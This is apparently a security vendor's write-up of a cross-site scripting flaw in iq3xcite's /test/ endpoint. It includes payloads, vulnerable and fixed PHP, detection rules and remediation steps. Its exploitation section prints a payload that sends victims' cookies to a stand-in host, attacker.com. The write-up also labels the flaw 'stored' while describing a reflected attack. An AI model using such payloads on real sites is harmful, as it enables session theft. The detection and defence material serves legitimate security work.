CVE-2024-46453

Executive Summary

CVE-2024-46453 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the iq3xcite application, affecting versions v2.31 through v3.05. The flaw resides in the /test/ endpoint, allowing an attacker to inject arbitrary web scripts or HTML via a crafted payload. This can lead to session hijacking, credential theft, or defacement. The vendor has not released a patch, and no official advisory or GitHub fix is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for exposed instances.

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a standalone web application vulnerability.

CVSS Breakdown & Threat Level

The CVSS vector is not provided by NVD. However, based on the nature of the vulnerability (XSS), a reasonable assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must visit the crafted URL
• Scope (S): Changed (C) – XSS can impact other components
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS v3.1 Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. No active exploitation has been reported.

Deep Dive & Mechanics

The vulnerability exists in the /test/ endpoint of iq3xcite. The application fails to sanitize user-supplied input before reflecting it in the response. An attacker can craft a URL containing malicious JavaScript or HTML, which, when visited by an authenticated or unauthenticated user, executes in the context of the victim's browser.

Root Cause: Lack of output encoding or input validation on the /test/ endpoint.

Attack Vector:

1. Attacker crafts a malicious URL: http://target.com/test/<script>alert('XSS')</script>
2. Victim clicks the link or is redirected.
3. The script executes, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

Vulnerable (PHP example):

<?php
$input = $_GET['param'];
echo "<div>" . $input . "</div>";
?>

Patched (should be):

<?php
$input = htmlspecialchars($_GET['param'], ENT_QUOTES, 'UTF-8');
echo "<div>" . $input . "</div>";
?>

The fix requires proper output encoding using htmlspecialchars() or equivalent.

Exploitation & Lab Setup

Red Team (Exploitation)

Proof of Concept (PoC):

<script>alert('XSS')</script>

Craft a URL:

http://target.com/test/?param=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Lab Setup:

1. Deploy a vulnerable instance of iq3xcite v2.31-v3.05.
2. Use a local web server (e.g., Apache) to host the application.
3. Use Burp Suite or a browser to inject payloads into the /test/ endpoint.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual parameters in /test/ containing <script>, onerror, javascript:.
• Use WAF rules to block common XSS patterns.

Defense:

• Implement Content Security Policy (CSP) headers.
• Sanitize all user inputs.
• Use HTTP-only cookies to mitigate session theft.

Indicators of Compromise (IOCs)

• URL Pattern: */test/* containing <script>, %3Cscript%3E, or onerror=.
• Network Traffic: HTTP requests to /test/ with unusual query strings.
• Logs: Web server logs showing GET /test/?param=<script>.
• File System: No file-based IOCs; purely web-based.

Detection Engineering

YARA Rule

rule CVE_2024_46453_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting iq3xcite /test/ endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-46453"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt on iq3xcite /test/ Endpoint
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential XSS payloads in HTTP requests to /test/
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/test/*'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46453 XSS Attempt on iq3xcite /test/"; flow:to_server; content:"/test/"; http_uri; content:"<script>"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /test/ endpoint if not required.
2. Apply input validation and output encoding (e.g., htmlspecialchars() in PHP).
3. Deploy a Web Application Firewall (WAF) with rules to block XSS patterns.

Long-term Fix:

• Upgrade to a patched version when available.
• Conduct a security audit of all user-facing endpoints.

Workaround:

• Use .htaccess to restrict access to /test/:

<LocationMatch "^/test/">
    Deny from all
</LocationMatch>

Valters IT
Securing Digital Frontiers